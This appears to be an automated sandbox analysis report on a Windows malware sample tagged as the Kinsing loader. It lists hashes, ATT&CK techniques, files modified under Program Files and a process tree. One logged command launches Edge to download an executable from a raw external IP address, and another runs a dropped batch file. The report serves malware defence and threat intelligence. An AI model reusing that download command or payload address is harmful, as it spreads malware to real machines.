kinsing | 942b0d0071e2668a886f5704ee61cfe5225990bc51fc8831cc89bc4300543802

Analysis

max time kernel
138s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25-01-2024 17:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

12.8MB
MD5

c26969afb4d14b8a57e313173b6f0e99
SHA1

9f1d429af7b2beabae3108cbb0ef4c499491f356
SHA256

942b0d0071e2668a886f5704ee61cfe5225990bc51fc8831cc89bc4300543802
SHA512

a56a84a961fa7931577d80da4c60bc477962ba5eb2d70223e47f45d99299ba2ad1199f09bf2b618a2b414c2948ebb0a28db05fcfe8578d331630c0438c68fb60
SSDEEP

196608:fYFWAQhhSsXZJorYwXGc/Wmk7ZoP1NQsT2kYBqyLfi7lYSANK728OznHHXuJVv5:fY8RSQMswWc/WmTTFYgGSANKyTXu

Score

10^/10

kinsing aspackv2 loader

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xlRwwk.exe	aspack_v212_v242

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

xlRwwk.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation xlRwwk.exe
Executes dropped EXE 1 IoCs

Processes:

xlRwwk.exe

pid process

2452 xlRwwk.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	xlRwwk.exe

pid	process
2452	xlRwwk.exe

Drops file in Program Files directory 64 IoCs

Processes:

xlRwwk.exe

description	ioc	process
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\AppSharingHookController.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jjs.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\kinit.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SDXHelperBgt.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2018.826.98.0_x64__8wekyb3d8bbwe\WindowsCamera.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Mozilla Firefox\pingsender.exe	xlRwwk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\unpack200.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\XLICONS.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\rmid.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\servertool.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\WhatsNew.Store.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxTsr.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleCrashHandler.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateSetup.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jp2launcher.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerElevatedAppServiceClient.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Wordconv.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Maps.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\MixedRealityPortal.Brokered.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\GRAPH.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SETLANG.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Solitaire.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\Integrator.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX45.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SDXHelper.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSOSREC.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\excelcnv.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSOUC.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\codecpacks.heif.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.46.11001.0_x64__8wekyb3d8bbwe\GameBar.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jabswitch.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\servertool.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\rmiregistry.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\msoadfsb.exe	xlRwwk.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstaller.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsimport.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\ktab.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\officeappguardwin32.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Mozilla Firefox\private_browsing.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\policytool.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\tnameserv.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSQRY32.EXE	xlRwwk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe	xlRwwk.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\ImagingDevices.exe	xlRwwk.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	xlRwwk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exe

pid	process
1004	msedge.exe
1004	msedge.exe
672	msedge.exe
672	msedge.exe
2788	identity_helper.exe
2788	identity_helper.exe
1472	msedge.exe
1472	msedge.exe
1472	msedge.exe
1472	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

Processes:

msedge.exe

pid process

672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe
672 msedge.exe

Suspicious use of FindShellTrayWindow 25 IoCs

Processes:

msedge.exe

pid	process
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe
672	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

tmp.exe

pid process

3700 tmp.exe
3700 tmp.exe
3700 tmp.exe

pid	process
3700	tmp.exe
3700	tmp.exe
3700	tmp.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.exexlRwwk.exemsedge.exe

description	pid	process	target process
PID 3700 wrote to memory of 2452	3700	tmp.exe	xlRwwk.exe
PID 3700 wrote to memory of 2452	3700	tmp.exe	xlRwwk.exe
PID 3700 wrote to memory of 2452	3700	tmp.exe	xlRwwk.exe
PID 2452 wrote to memory of 1612	2452	xlRwwk.exe	cmd.exe
PID 2452 wrote to memory of 1612	2452	xlRwwk.exe	cmd.exe
PID 2452 wrote to memory of 1612	2452	xlRwwk.exe	cmd.exe
PID 3700 wrote to memory of 672	3700	tmp.exe	msedge.exe
PID 3700 wrote to memory of 672	3700	tmp.exe	msedge.exe
PID 672 wrote to memory of 5048	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 5048	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1916	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1004	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 1004	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe
PID 672 wrote to memory of 4076	672	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3700

C:\Users\Admin\AppData\Local\Temp\xlRwwk.exe
C:\Users\Admin\AppData\Local\Temp\xlRwwk.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3441123d.bat" "
3⤵
PID:1612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://124.223.46.215/qydj/ÇªÒÚÖúÊÖ.exe
2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffd86246f8,0x7fffd8624708,0x7fffd8624718
3⤵
PID:5048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2956 /prefetch:8
3⤵
PID:4076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 /prefetch:2
3⤵
PID:1916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
3⤵
PID:1504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
3⤵
PID:388

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 /prefetch:8
3⤵
PID:1500

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
3⤵
PID:2308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4168 /prefetch:1
3⤵
PID:2956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
3⤵
PID:4904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5744 /prefetch:1
3⤵
PID:4696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
3⤵
PID:4568

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
3⤵
PID:3120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4252 /prefetch:1
3⤵
PID:4952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:1
3⤵
PID:2680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,13741132437618616180,13805088684798193279,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6040 /prefetch:2
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1472

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3064

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
4d6e17218d9a99976d1a14c6f6944c96

SHA1
9e54a19d6c61d99ac8759c5f07b2f0d5faab447f

SHA256
32e343d2794af8bc6f2f7c905b5df11d53db4ad8922b92ad5e7cc9c856509d93

SHA512
3fa166b3e2d1236298d8dda7071a6fcf2bde283f181b8b0a07c0bb8ba756d6f55fa8a847ca5286d4dbabc6dace67e842a118866320ac01bd5f93cccd3a032e47

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
59be253a23196c879178a0dd192bc8c1

SHA1
18ad5f3f361a74898bb0237b6364aeed7bacb5a3

SHA256
55074b615b7dbe572737799e8c76f2381e65e5aee7d096c96cf9a62bfe656926

SHA512
7f27b46eb8f0a71f4dd6d7e91231ed0ed042aa33c5d127e3ec5abfa75621482835f154e1ba4d23208bb4848aacc7220987c0176e472e0c1f8a3a12cf4e9ed708

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
29a25593ca9dc392b3212b03efbe81fa

SHA1
aaf113bc5b430f64e76465acb568717d5f2208f0

SHA256
cea751ef1ab757f2ac29857b889354a79a53170037d1049927ba7e3c1fa1aa20

SHA512
0afeb1e51aae4dc1c7a3168254e6b54695db615d72a1cda8f015d90546e56ef76278a17c3e309d4950d235c39d194491a174e8409b0a6f95afed97f667ef65b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
24KB

MD5
c2ef1d773c3f6f230cedf469f7e34059

SHA1
e410764405adcfead3338c8d0b29371fd1a3f292

SHA256
185450d538a894e4dcf55b428f506f3d7baa86664fbbc67afd6c255b65178521

SHA512
2ef93803da4d630916bed75d678382fd1c72bff1700a1a72e2612431c6d5e11410ced4eaf522b388028aeadb08e8a77513e16594e6ab081f6d6203e4caa7d549

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
10KB

MD5
3dae362ea525f55d5576937eef7a3486

SHA1
d88ba186d11da51104f1a12552ff060f758d0d6d

SHA256
63669af0402b5186078ee20dc120d6f311cf2a7ff9c7a84c3f657942bb746104

SHA512
